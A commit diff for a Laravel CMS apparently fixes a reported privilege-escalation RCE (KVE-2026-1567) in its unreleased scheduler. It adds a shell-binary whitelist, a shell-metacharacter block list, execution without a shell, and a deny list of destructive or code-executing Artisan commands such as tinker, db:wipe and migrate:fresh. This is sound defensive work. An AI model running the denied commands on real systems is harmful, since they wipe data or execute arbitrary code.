fix(security): 스케줄러 Shell/Artisan 명령 실행 하드닝
미출시 예약 작업 기능에서 스케줄 권한만 위임받은 계정이 Shell/Artisan 명령으로 임의 코드를 실행할 수 있던 문제를 선제적으로 차단(KVE-2026-1567). Shell 은 기본 차단 + 실행 파일 화이트리스트 + 셸 미경유 인자배열 실행, Artisan 은 차단목록. 저장 시점(FormRequest)과 실행 시점(Service) 이중 검증. 아울러 공개 release 보다 앞선 미출시 버전들의 CHANGELOG 출시 날짜를 2026-07-14 로 통일.
This commit is contained in:
+2
-1
@@ -4,13 +4,14 @@
|
||||
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
|
||||
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
|
||||
|
||||
## [7.0.4] - 2026-07-11
|
||||
## [7.0.4] - 2026-07-14
|
||||
|
||||
### Security
|
||||
|
||||
- 서버가 외부 주소를 대신 호출하는 기능들에서, 사내 서버나 클라우드 관리 주소처럼 외부에 공개되지 않은 내부 주소를 호출 대상으로 지정할 수 없도록 차단했습니다. 언어팩을 주소로 내려받을 때, 예약 작업으로 주소를 호출할 때, 쇼핑몰 배송비를 외부 계산 서버로 문의할 때가 해당합니다. 사내 서버를 주기적으로 호출하는 등 내부 주소가 꼭 필요한 운영 환경을 위해, 환경설정 > 보안에 "내부 네트워크 주소 호출 허용" 항목을 새로 추가했습니다. 이 항목은 기본적으로 꺼져 있습니다.
|
||||
- 주소를 검사할 때 앞부분만 맞으면 통과시키던 방식을 실제 주소가 정확히 일치하는지 확인하도록 바로잡았습니다. 이전에는 신뢰하는 주소를 앞에 붙인 가짜 주소가 검사를 통과할 수 있었습니다. 본인인증 연동과 언어팩 업데이트 확인에 적용됩니다. (KISA 측에서 제보해주셨습니다 — KVE-2026-1546)
|
||||
- 배포본에 원본 소스코드가 그대로 담긴 파일(소스맵)이 함께 포함되어, 누구나 주소만 알면 내려받아 볼 수 있던 문제를 차단했습니다. 이제 배포용으로 빌드하면 이 파일이 아예 만들어지지 않으며, 기존에 포함되어 있던 파일도 모두 제거했습니다. 아울러 이 파일이 서버에 남아 있더라도 웹으로는 내려받을 수 없도록 막았습니다. 내 컴퓨터에서 개발용으로 빌드할 때는 디버깅에 필요하므로 이전과 동일하게 생성됩니다. (#72 @glitter-gim 님께서 건의해주셨습니다.)
|
||||
- 아직 공개하지 않은 예약 작업 기능에서, 서버 명령을 실행하는 두 유형(쉘 명령·Artisan 명령)에 대해 향후 정식 공개에 대비한 실행 제한 장치를 미리 마련했습니다. 쉘 명령 예약은 기본적으로 완전히 차단되며 서버 관리자가 실행 파일을 명시적으로 등록해야만 사용할 수 있고(관리자 화면에서는 넓힐 수 없습니다), Artisan 명령 예약도 데이터를 지우거나 임의 코드를 실행할 수 있는 위험한 명령은 거부됩니다. 이 기능은 현재 메뉴에 노출되지 않아 실제 사용 경로가 없습니다. (KISA 측에서 제보해주셨습니다 — KVE-2026-1567)
|
||||
|
||||
### Fixed
|
||||
|
||||
|
||||
@@ -6,6 +6,8 @@ use App\Enums\ExtensionOwnerType;
|
||||
use App\Enums\ScheduleFrequency;
|
||||
use App\Enums\ScheduleType;
|
||||
use App\Extension\HookManager;
|
||||
use App\Rules\AllowedArtisanCommand;
|
||||
use App\Rules\AllowedShellCommand;
|
||||
use App\Rules\PublicOutboundUrl;
|
||||
use Illuminate\Contracts\Validation\ValidationRule;
|
||||
use Illuminate\Foundation\Http\FormRequest;
|
||||
@@ -38,7 +40,8 @@ class CreateScheduleRequest extends FormRequest
|
||||
'name' => 'required|string|max:255',
|
||||
'description' => 'nullable|string|max:1000',
|
||||
'type' => "required|string|in:{$types}",
|
||||
// URL 호출 스케줄이면 command 가 곧 서버의 outbound 목적지가 되므로 내부망 주소를 차단한다
|
||||
// command 는 타입별로 서버의 outbound 목적지(URL)·OS 명령(Shell)·PHP 코드(Artisan)가 되므로
|
||||
// 각 타입에 맞는 실행 허용 검증을 저장 시점에 건다
|
||||
'command' => [
|
||||
'required',
|
||||
'string',
|
||||
@@ -47,6 +50,14 @@ class CreateScheduleRequest extends FormRequest
|
||||
$this->input('type') === ScheduleType::Url->value,
|
||||
[new PublicOutboundUrl],
|
||||
),
|
||||
Rule::when(
|
||||
$this->input('type') === ScheduleType::Shell->value,
|
||||
[new AllowedShellCommand],
|
||||
),
|
||||
Rule::when(
|
||||
$this->input('type') === ScheduleType::Artisan->value,
|
||||
[new AllowedArtisanCommand],
|
||||
),
|
||||
],
|
||||
'expression' => 'required|string|max:100',
|
||||
'frequency' => "required|string|in:{$frequencies}",
|
||||
|
||||
@@ -7,6 +7,8 @@ use App\Enums\ScheduleFrequency;
|
||||
use App\Enums\ScheduleType;
|
||||
use App\Extension\HookManager;
|
||||
use App\Models\Schedule;
|
||||
use App\Rules\AllowedArtisanCommand;
|
||||
use App\Rules\AllowedShellCommand;
|
||||
use App\Rules\PublicOutboundUrl;
|
||||
use Illuminate\Contracts\Validation\ValidationRule;
|
||||
use Illuminate\Foundation\Http\FormRequest;
|
||||
@@ -38,13 +40,16 @@ class UpdateScheduleRequest extends FormRequest
|
||||
'name' => 'sometimes|required|string|max:255',
|
||||
'description' => 'nullable|string|max:1000',
|
||||
'type' => "sometimes|required|string|in:{$types}",
|
||||
// URL 호출 스케줄이면 command 가 곧 서버의 outbound 목적지가 되므로 내부망 주소를 차단한다
|
||||
// command 는 타입별로 서버의 outbound 목적지(URL)·OS 명령(Shell)·PHP 코드(Artisan)가 되므로
|
||||
// 각 타입에 맞는 실행 허용 검증을 저장 시점에 건다
|
||||
'command' => [
|
||||
'sometimes',
|
||||
'required',
|
||||
'string',
|
||||
'max:2000',
|
||||
Rule::when($this->resolvesToUrlSchedule(), [new PublicOutboundUrl]),
|
||||
Rule::when($this->resolvesToScheduleType(ScheduleType::Url), [new PublicOutboundUrl]),
|
||||
Rule::when($this->resolvesToScheduleType(ScheduleType::Shell), [new AllowedShellCommand]),
|
||||
Rule::when($this->resolvesToScheduleType(ScheduleType::Artisan), [new AllowedArtisanCommand]),
|
||||
],
|
||||
'expression' => 'sometimes|required|string|max:100',
|
||||
'frequency' => "sometimes|required|string|in:{$frequencies}",
|
||||
@@ -61,22 +66,23 @@ class UpdateScheduleRequest extends FormRequest
|
||||
}
|
||||
|
||||
/**
|
||||
* 이번 수정 결과 URL 호출 스케줄이 되는지 판정합니다.
|
||||
* 이번 수정 결과 스케줄이 주어진 타입이 되는지 판정합니다.
|
||||
*
|
||||
* PATCH 라 `type` 이 요청에 없을 수 있으므로, 없으면 저장된 스케줄의 타입을 기준으로
|
||||
* 판정한다 — 그렇지 않으면 기존 url 스케줄의 command 만 바꾸는 요청이 검증을 비껴간다.
|
||||
* 판정한다 — 그렇지 않으면 기존 스케줄의 command 만 바꾸는 요청이 검증을 비껴간다.
|
||||
*
|
||||
* @return bool URL 호출 스케줄이면 true
|
||||
* @param ScheduleType $type 판정할 스케줄 타입
|
||||
* @return bool 해당 타입의 스케줄이면 true
|
||||
*/
|
||||
protected function resolvesToUrlSchedule(): bool
|
||||
protected function resolvesToScheduleType(ScheduleType $type): bool
|
||||
{
|
||||
if ($this->has('type')) {
|
||||
return $this->input('type') === ScheduleType::Url->value;
|
||||
return $this->input('type') === $type->value;
|
||||
}
|
||||
|
||||
$schedule = $this->route('schedule');
|
||||
|
||||
return $schedule instanceof Schedule && $schedule->type === ScheduleType::Url;
|
||||
return $schedule instanceof Schedule && $schedule->type === $type;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
namespace App\Rules;
|
||||
|
||||
use App\Support\ScheduleCommandValidator;
|
||||
use Closure;
|
||||
use Illuminate\Contracts\Validation\ValidationRule;
|
||||
|
||||
/**
|
||||
* Artisan 타입 스케줄의 command 가 차단목록에 걸리지 않는지 검증하는 Custom Rule.
|
||||
*
|
||||
* `tinker` 처럼 임의 PHP 코드를 실행하거나 `db:wipe` 처럼 파괴적인 명령을 스케줄로 등록하는 것을
|
||||
* 저장 시점에 차단한다. 차단목록은 `config/schedule_security.php` 가 소유하며 관리자 환경설정에
|
||||
* 노출되지 않는다.
|
||||
*/
|
||||
class AllowedArtisanCommand implements ValidationRule
|
||||
{
|
||||
/**
|
||||
* 값이 실행 허용된 artisan 명령인지 검증합니다.
|
||||
*
|
||||
* @param string $attribute 검증 대상 필드명
|
||||
* @param mixed $value 검증 대상 값
|
||||
* @param Closure $fail 실패 콜백
|
||||
*/
|
||||
public function validate(string $attribute, mixed $value, Closure $fail): void
|
||||
{
|
||||
if ($value === null || $value === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
if (! is_string($value)) {
|
||||
$fail(__('validation.schedule_command.artisan_denied'));
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if (! ScheduleCommandValidator::isArtisanCommandAllowed($value)) {
|
||||
$fail(__('validation.schedule_command.artisan_denied'));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
namespace App\Rules;
|
||||
|
||||
use App\Support\ScheduleCommandValidator;
|
||||
use Closure;
|
||||
use Illuminate\Contracts\Validation\ValidationRule;
|
||||
|
||||
/**
|
||||
* Shell 타입 스케줄의 command 가 실행 허용된 명령인지 검증하는 Custom Rule.
|
||||
*
|
||||
* 스케줄 생성 권한만 위임받은 계정이 임의 OS 명령을 서버에서 실행하는 것을 저장 시점에 차단한다.
|
||||
* 허용 여부는 `config/schedule_security.php` 의 opt-in 게이트와 실행 파일 화이트리스트가 결정하며,
|
||||
* 관리자 환경설정에 노출되지 않으므로 위임 관리자가 스스로 범위를 넓힐 수 없다.
|
||||
*/
|
||||
class AllowedShellCommand implements ValidationRule
|
||||
{
|
||||
/**
|
||||
* 값이 실행 허용된 shell 명령인지 검증합니다.
|
||||
*
|
||||
* @param string $attribute 검증 대상 필드명
|
||||
* @param mixed $value 검증 대상 값
|
||||
* @param Closure $fail 실패 콜백
|
||||
*/
|
||||
public function validate(string $attribute, mixed $value, Closure $fail): void
|
||||
{
|
||||
if ($value === null || $value === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
if (! is_string($value)) {
|
||||
$fail(__('validation.schedule_command.shell_not_allowed'));
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if (! ScheduleCommandValidator::isShellCommandAllowed($value)) {
|
||||
$fail(__('validation.schedule_command.shell_not_allowed'));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -11,8 +11,8 @@ use App\Extension\HookManager;
|
||||
use App\Models\Schedule;
|
||||
use App\Models\ScheduleHistory;
|
||||
use App\Support\OutboundUrlValidator;
|
||||
use App\Support\ScheduleCommandValidator;
|
||||
use Exception;
|
||||
use Illuminate\Contracts\Pagination\LengthAwarePaginator;
|
||||
use Illuminate\Database\Eloquent\Collection;
|
||||
use Illuminate\Support\Facades\Artisan;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
@@ -207,10 +207,13 @@ class ScheduleService
|
||||
'output' => $result['output'] ?? null,
|
||||
]);
|
||||
|
||||
// 스케줄 상태 업데이트
|
||||
// 스케줄 상태 업데이트 (다음 실행 시각은 모델이 계산, 영속화는 Repository 경유)
|
||||
$schedule->last_result = ScheduleResultStatus::Success;
|
||||
$schedule->calculateNextRunAt();
|
||||
$schedule->save();
|
||||
$this->scheduleRepository->update($schedule, [
|
||||
'last_result' => ScheduleResultStatus::Success,
|
||||
'next_run_at' => $schedule->next_run_at,
|
||||
]);
|
||||
|
||||
// after_run 훅 실행
|
||||
HookManager::doAction('core.schedule.after_run', $schedule, $history);
|
||||
@@ -226,10 +229,13 @@ class ScheduleService
|
||||
'error_output' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
// 스케줄 상태 업데이트
|
||||
// 스케줄 상태 업데이트 (다음 실행 시각은 모델이 계산, 영속화는 Repository 경유)
|
||||
$schedule->last_result = ScheduleResultStatus::Failed;
|
||||
$schedule->calculateNextRunAt();
|
||||
$schedule->save();
|
||||
$this->scheduleRepository->update($schedule, [
|
||||
'last_result' => ScheduleResultStatus::Failed,
|
||||
'next_run_at' => $schedule->next_run_at,
|
||||
]);
|
||||
|
||||
Log::error('Schedule execution failed', [
|
||||
'schedule_id' => $schedule->id,
|
||||
@@ -247,10 +253,16 @@ class ScheduleService
|
||||
*
|
||||
* @param Schedule $schedule 스케줄
|
||||
* @return array 실행 결과
|
||||
*
|
||||
* @throws Exception 차단목록에 걸린 명령일 때
|
||||
*/
|
||||
private function executeArtisanCommand(Schedule $schedule): array
|
||||
{
|
||||
$output = '';
|
||||
// 저장 시점 검증 도입 이전 데이터나 DB 직접 수정으로 들어온 값을 방어한다
|
||||
// (isUrlCallAllowed 와 동일 사유 — 실행 직전이 마지막 방어선).
|
||||
if (! ScheduleCommandValidator::isArtisanCommandAllowed($schedule->command)) {
|
||||
throw new Exception(__('schedule.artisan_not_allowed'));
|
||||
}
|
||||
|
||||
Artisan::call($schedule->command, [], new BufferedOutput);
|
||||
|
||||
@@ -270,9 +282,19 @@ class ScheduleService
|
||||
*/
|
||||
private function executeShellCommand(Schedule $schedule): array
|
||||
{
|
||||
// 저장 시점 검증 도입 이전 데이터나 DB 직접 수정으로 들어온 값을 방어한다
|
||||
// (isUrlCallAllowed 와 동일 사유 — 실행 직전이 마지막 방어선).
|
||||
$arguments = ScheduleCommandValidator::tokenizeShellCommand($schedule->command);
|
||||
|
||||
if ($arguments === null || ! ScheduleCommandValidator::isShellCommandAllowed($schedule->command)) {
|
||||
throw new Exception(__('schedule.shell_not_allowed'));
|
||||
}
|
||||
|
||||
$timeout = $schedule->timeout ?? 60;
|
||||
|
||||
$result = Process::timeout($timeout)->run($schedule->command);
|
||||
// 문자열이 아닌 인자 배열로 넘겨 `/bin/sh -c` 를 경유하지 않는다 —
|
||||
// 파이프·`;`·`$()` 같은 셸 메타문자가 명령으로 해석될 여지를 없앤다.
|
||||
$result = Process::timeout($timeout)->run($arguments);
|
||||
|
||||
if ($result->failed()) {
|
||||
throw new Exception($result->errorOutput() ?: __('schedule.shell_command_failed'), $result->exitCode());
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
/**
|
||||
* 스케줄 Shell/Artisan command 가 실행 가능한 안전 명령인지 판정하는 순수 유틸.
|
||||
*
|
||||
* 스케줄 command 는 저장된 문자열이 그대로 서버에서 실행되는 값이므로, 스케줄 생성 권한을
|
||||
* 위임받은 계정이 임의 OS 명령·임의 PHP 코드를 실행하는 통로가 될 수 있다(권한 상승형 RCE).
|
||||
* 본 유틸은 두 축의 판정을 제공한다:
|
||||
*
|
||||
* 1. Shell — 기본 차단. `config/schedule_security.php` 의 opt-in 게이트가 켜져 있고,
|
||||
* 셸 메타문자가 없으며, 첫 토큰의 basename 이 허용 실행 파일 목록과 완전 일치할 때만 허용.
|
||||
* 허용되더라도 호출부는 `tokenizeShellCommand()` 로 얻은 인자 배열로 실행해야 한다
|
||||
* (`/bin/sh -c` 를 경유하지 않으므로 파이프·`;`·`$()` 가 무력화된다).
|
||||
*
|
||||
* 2. Artisan — 기본 허용, 차단목록만 거부. `tinker` 처럼 임의 PHP 코드를 실행하거나
|
||||
* `db:wipe` 처럼 파괴적인 명령을 스케줄로 실행하지 못하게 막는다.
|
||||
*
|
||||
* 예외를 던지지 않고 bool/배열만 반환한다 — 차단 시 어떤 응답/예외를 낼지는 호출부가 결정한다.
|
||||
*/
|
||||
class ScheduleCommandValidator
|
||||
{
|
||||
/** 셸 해석을 유발하는 메타문자 — 하나라도 있으면 인자 배열 실행이 불가하므로 거부 */
|
||||
private const SHELL_METACHARACTERS = [
|
||||
'|', '&', ';', '$', '`', '>', '<', '(', ')', '{', '}',
|
||||
'*', '?', '!', '\\', '"', "'", "\n", "\r", "\t",
|
||||
];
|
||||
|
||||
/**
|
||||
* Shell 타입 command 를 실행해도 되는지 판정합니다.
|
||||
*
|
||||
* 게이트가 켜져 있고, 화이트리스트가 비어있지 않으며, 메타문자가 없고,
|
||||
* 첫 토큰의 basename 이 화이트리스트와 완전 일치할 때만 true.
|
||||
*
|
||||
* @param string $command 스케줄에 저장된 shell command 문자열
|
||||
* @return bool 실행을 허용하면 true
|
||||
*/
|
||||
public static function isShellCommandAllowed(string $command): bool
|
||||
{
|
||||
if (! (bool) config('schedule_security.shell.enabled', false)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$allowed = array_values(array_filter(array_map(
|
||||
static fn ($binary): string => trim((string) $binary),
|
||||
(array) config('schedule_security.shell.allowed_binaries', []),
|
||||
)));
|
||||
|
||||
if ($allowed === []) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$tokens = self::tokenize($command);
|
||||
|
||||
if ($tokens === null || $tokens === []) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return in_array(basename($tokens[0]), $allowed, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Shell command 를 `Process::run(array)` 에 넘길 안전한 인자 배열로 변환합니다.
|
||||
*
|
||||
* 메타문자가 섞여 있으면 셸 미경유 실행이 불가하므로 null 을 반환한다.
|
||||
*
|
||||
* @param string $command 스케줄에 저장된 shell command 문자열
|
||||
* @return array<int, string>|null 인자 배열, 안전하게 토큰화할 수 없으면 null
|
||||
*/
|
||||
public static function tokenizeShellCommand(string $command): ?array
|
||||
{
|
||||
return self::tokenize($command);
|
||||
}
|
||||
|
||||
/**
|
||||
* Artisan command 문자열에서 명령명(첫 토큰)을 추출합니다.
|
||||
*
|
||||
* @param string $command 스케줄에 저장된 artisan command 문자열
|
||||
* @return string|null 명령명, 빈 문자열이면 null
|
||||
*/
|
||||
public static function extractArtisanCommandName(string $command): ?string
|
||||
{
|
||||
$trimmed = trim($command);
|
||||
|
||||
if ($trimmed === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$tokens = preg_split('/\s+/', $trimmed);
|
||||
|
||||
return ($tokens === false || $tokens === []) ? null : $tokens[0];
|
||||
}
|
||||
|
||||
/**
|
||||
* Artisan command 가 차단목록에 걸리지 않는지 판정합니다.
|
||||
*
|
||||
* @param string $command 스케줄에 저장된 artisan command 문자열
|
||||
* @return bool 실행을 허용하면 true
|
||||
*/
|
||||
public static function isArtisanCommandAllowed(string $command): bool
|
||||
{
|
||||
$name = self::extractArtisanCommandName($command);
|
||||
|
||||
if ($name === null) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$denylist = array_map(
|
||||
static fn ($denied): string => strtolower(trim((string) $denied)),
|
||||
(array) config('schedule_security.artisan.denylist', []),
|
||||
);
|
||||
|
||||
return ! in_array(strtolower($name), $denylist, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 메타문자 없는 공백 구분 토큰화. 메타문자가 있으면 null 을 반환합니다.
|
||||
*
|
||||
* 따옴표 escape 처리 버그를 원천 회피하기 위해, 따옴표를 포함한 복잡한 명령은
|
||||
* 지원하지 않고 거부하는 보수적 구현이다(복합 명령은 래퍼 스크립트로 유도).
|
||||
*
|
||||
* @param string $command command 문자열
|
||||
* @return array<int, string>|null 토큰 배열, 안전하지 않으면 null
|
||||
*/
|
||||
private static function tokenize(string $command): ?array
|
||||
{
|
||||
$command = trim($command);
|
||||
|
||||
if ($command === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
// 제어문자(개행 포함)가 섞인 명령은 즉시 거부
|
||||
if (preg_match('/[\x00-\x1F\x7F]/', $command) === 1) {
|
||||
return null;
|
||||
}
|
||||
|
||||
foreach (self::SHELL_METACHARACTERS as $meta) {
|
||||
if (str_contains($command, $meta)) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
$tokens = preg_split('/\s+/', $command);
|
||||
|
||||
return ($tokens === false || $tokens === []) ? null : $tokens;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
// 스케줄러 Shell/Artisan 실행 보안 정책.
|
||||
// 관리자 환경설정에 노출하지 않는 코드 소유 정책 — command 실행 능력은 신뢰 경계 안에서만 넓힌다.
|
||||
// (스케줄 권한만 위임받은 관리자가 화이트리스트를 넓혀 임의 명령 실행을 복구하는 것을 막는다.)
|
||||
return [
|
||||
'shell' => [
|
||||
// Shell 타입 스케줄 실행 자체를 켜는 opt-in 게이트 (기본 차단).
|
||||
'enabled' => env('SCHEDULE_SHELL_ENABLED', false),
|
||||
|
||||
// 허용 실행 파일 basename 목록. 빈 배열이면 모든 shell 명령을 거부한다.
|
||||
'allowed_binaries' => array_values(array_filter(array_map(
|
||||
'trim',
|
||||
explode(',', (string) env('SCHEDULE_SHELL_ALLOWED_BINARIES', '')),
|
||||
))),
|
||||
],
|
||||
|
||||
'artisan' => [
|
||||
// 파괴적·코드 실행형 artisan 명령 차단목록 (첫 토큰 기준).
|
||||
'denylist' => [
|
||||
'tinker',
|
||||
'db:wipe',
|
||||
'migrate:fresh',
|
||||
'migrate:reset',
|
||||
'migrate:rollback',
|
||||
'schedule:run',
|
||||
'schedule:work',
|
||||
'env:decrypt',
|
||||
'key:generate',
|
||||
],
|
||||
],
|
||||
];
|
||||
@@ -170,7 +170,7 @@ HTTP/1.1 200
|
||||
| name | body | string | 예 | max 255 | 대상의 이름/명칭 |
|
||||
| description | body | string | 아니오 | max 1000 | 설명 |
|
||||
| type | body | string | 예 | `artisan`, `shell`, `url` | 작업 유형: artisan(Artisan 커맨드 실행), shell(쉘 명령 실행), url(URL 호출) |
|
||||
| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다 |
|
||||
| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다.<br>`type=shell` 이면 기본적으로 모든 명령이 거부되어 422 로 응답합니다 — 스케줄 권한만 위임받은 계정이 서버에서 임의 OS 명령을 실행하는 것을 막기 위함입니다. 실행하려면 서버의 `.env` 에서 `SCHEDULE_SHELL_ENABLED=true` 로 게이트를 열고 `SCHEDULE_SHELL_ALLOWED_BINARIES` 에 허용할 실행 파일명을 등록해야 합니다(관리자 화면에서는 넓힐 수 없는 코드 소유 정책). 허용된 실행 파일이라도 셸 메타문자(`|`, `;`, `$`, 백틱, 리다이렉션, 따옴표 등)가 포함되면 거부되며, 실행 시 셸을 경유하지 않습니다. 복합 명령이 필요하면 래퍼 스크립트를 만들어 화이트리스트에 등록하세요.<br>`type=artisan` 이면 `tinker`·`db:wipe`·`migrate:fresh`·`migrate:reset`·`migrate:rollback`·`schedule:run`·`schedule:work`·`env:decrypt`·`key:generate` 같은 코드 실행형·파괴적 명령이 거부되어 422 로 응답합니다 |
|
||||
| expression | body | string | 예 | max 100 | 실행 시각을 정의하는 Cron 표현식 (예: `0 3 * * *`, 다음 실행 시각 next_run_at 계산의 기준) |
|
||||
| frequency | body | string | 예 | `everyMinute`, `hourly`, `daily`, `weekly`, `monthly`, `custom` | 실행 주기 |
|
||||
| without_overlapping | body | boolean | 아니오 | — | 중복 실행 방지 여부 |
|
||||
@@ -680,7 +680,7 @@ HTTP/1.1 200
|
||||
| name | body | string | 예 | max 255 | 대상의 이름/명칭 |
|
||||
| description | body | string | 아니오 | max 1000 | 설명 |
|
||||
| type | body | string | 예 | `artisan`, `shell`, `url` | 작업 유형: artisan(Artisan 커맨드 실행), shell(쉘 명령 실행), url(URL 호출) |
|
||||
| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다 |
|
||||
| command | body | string | 예 | max 2000 | 실행할 명령 (`type` 에 따라 Artisan 커맨드 / 쉘 명령 / 호출할 URL). `type=url` 이면 내부 네트워크 주소(사설 IP·루프백·`localhost`·`*.internal` 등)는 거부되어 422 로 응답합니다 — 서버가 내부망으로 요청을 보내는 것을 막기 위함(SSRF). 사내 엔드포인트를 호출해야 하면 환경설정의 `security.allow_internal_outbound_urls` 를 켜세요. 이 설정을 켜도 userinfo(`https://a@b/`) 위장과 http/https 이외 scheme 은 계속 거부됩니다.<br>`type=shell` 이면 기본적으로 모든 명령이 거부되어 422 로 응답합니다 — 스케줄 권한만 위임받은 계정이 서버에서 임의 OS 명령을 실행하는 것을 막기 위함입니다. 실행하려면 서버의 `.env` 에서 `SCHEDULE_SHELL_ENABLED=true` 로 게이트를 열고 `SCHEDULE_SHELL_ALLOWED_BINARIES` 에 허용할 실행 파일명을 등록해야 합니다(관리자 화면에서는 넓힐 수 없는 코드 소유 정책). 허용된 실행 파일이라도 셸 메타문자(`|`, `;`, `$`, 백틱, 리다이렉션, 따옴표 등)가 포함되면 거부되며, 실행 시 셸을 경유하지 않습니다. 복합 명령이 필요하면 래퍼 스크립트를 만들어 화이트리스트에 등록하세요.<br>`type=artisan` 이면 `tinker`·`db:wipe`·`migrate:fresh`·`migrate:reset`·`migrate:rollback`·`schedule:run`·`schedule:work`·`env:decrypt`·`key:generate` 같은 코드 실행형·파괴적 명령이 거부되어 422 로 응답합니다 |
|
||||
| expression | body | string | 예 | max 100 | 실행 시각을 정의하는 Cron 표현식 (예: `0 3 * * *`, 다음 실행 시각 next_run_at 계산의 기준) |
|
||||
| frequency | body | string | 예 | `everyMinute`, `hourly`, `daily`, `weekly`, `monthly`, `custom` | 실행 주기 |
|
||||
| without_overlapping | body | boolean | 아니오 | — | 중복 실행 방지 여부 |
|
||||
|
||||
@@ -4,12 +4,13 @@
|
||||
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
|
||||
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
|
||||
|
||||
## [1.0.4] - 2026-07-12
|
||||
## [1.0.4] - 2026-07-14
|
||||
|
||||
### Added
|
||||
|
||||
- 화면 구성에 필요한 스크립트를 끝내 불러오지 못했을 때 표시되는 안내 문구 일본어 번역 추가 (`errors.bootstrap.*`) — 네트워크 문제로 페이지를 열지 못한 경우의 안내와 새로고침 버튼이 일본어 로케일에서 자연스럽게 표시됩니다.
|
||||
- 내부 네트워크 주소 호출 차단 관련 안내 문구 일본어 번역 추가 (`validation.outbound_url.*`, `schedule.url_not_public`, `language_packs.errors.download_url_not_public`, `settings.websocket_invalid_host`) — 예약 작업·언어팩 설치·웹소켓 설정에서 내부 주소가 거부될 때의 안내가 일본어 로케일에서 자연스럽게 표시됩니다.
|
||||
- 아직 공개하지 않은 예약 작업 기능의 쉘·Artisan 명령 실행 제한 안내 문구 일본어 번역 추가 (`schedule.shell_not_allowed`, `schedule.artisan_not_allowed`, `validation.schedule_command.*`) — 향후 정식 공개에 대비한 것으로, 허용되지 않은 쉘 명령이나 위험한 Artisan 명령이 거부될 때의 안내가 일본어 로케일에서 자연스럽게 표시됩니다.
|
||||
|
||||
## [1.0.3] - 2026-07-11
|
||||
|
||||
|
||||
@@ -101,4 +101,6 @@ return [
|
||||
'run' => 'スケジュール実行',
|
||||
],
|
||||
'url_not_public' => '内部ネットワークアドレス(プライベートIP·localhost等)は呼び出せません。社内アドレスを呼び出す必要がある場合は、環境設定 > セキュリティで「内部ネットワークアドレス呼び出し許可」をオンにしてください。',
|
||||
'shell_not_allowed' => '許可されていないシェルコマンドです。サーバーに登録された実行ファイルのみスケジュールで実行できます。',
|
||||
'artisan_not_allowed' => 'このArtisanコマンドはセキュリティ上の理由によりスケジュールで実行できません。',
|
||||
];
|
||||
|
||||
@@ -1019,4 +1019,8 @@ return [
|
||||
'invalid' => '正しい形式のURLではありません。http または https で始まるアドレスを入力してください。',
|
||||
'internal_not_allowed' => '内部ネットワークアドレス(プライベートIP·localhost など)は使用できません。外部からアクセス可能なアドレスを入力してください。',
|
||||
],
|
||||
'schedule_command' => [
|
||||
'shell_not_allowed' => '許可されていないシェルコマンドです。サーバーに登録された実行ファイルのみ使用でき、パイプ(|)・セミコロン(;)などの特殊文字は使用できません。',
|
||||
'artisan_denied' => 'このArtisanコマンドはセキュリティ上、スケジュールで実行することはできません。',
|
||||
],
|
||||
];
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
|
||||
[Semantic Versioning](https://semver.org/lang/ko/)을 준수합니다.
|
||||
|
||||
## [1.0.3] - 2026-07-10
|
||||
## [1.0.3] - 2026-07-14
|
||||
|
||||
### Added
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)를 따르며,
|
||||
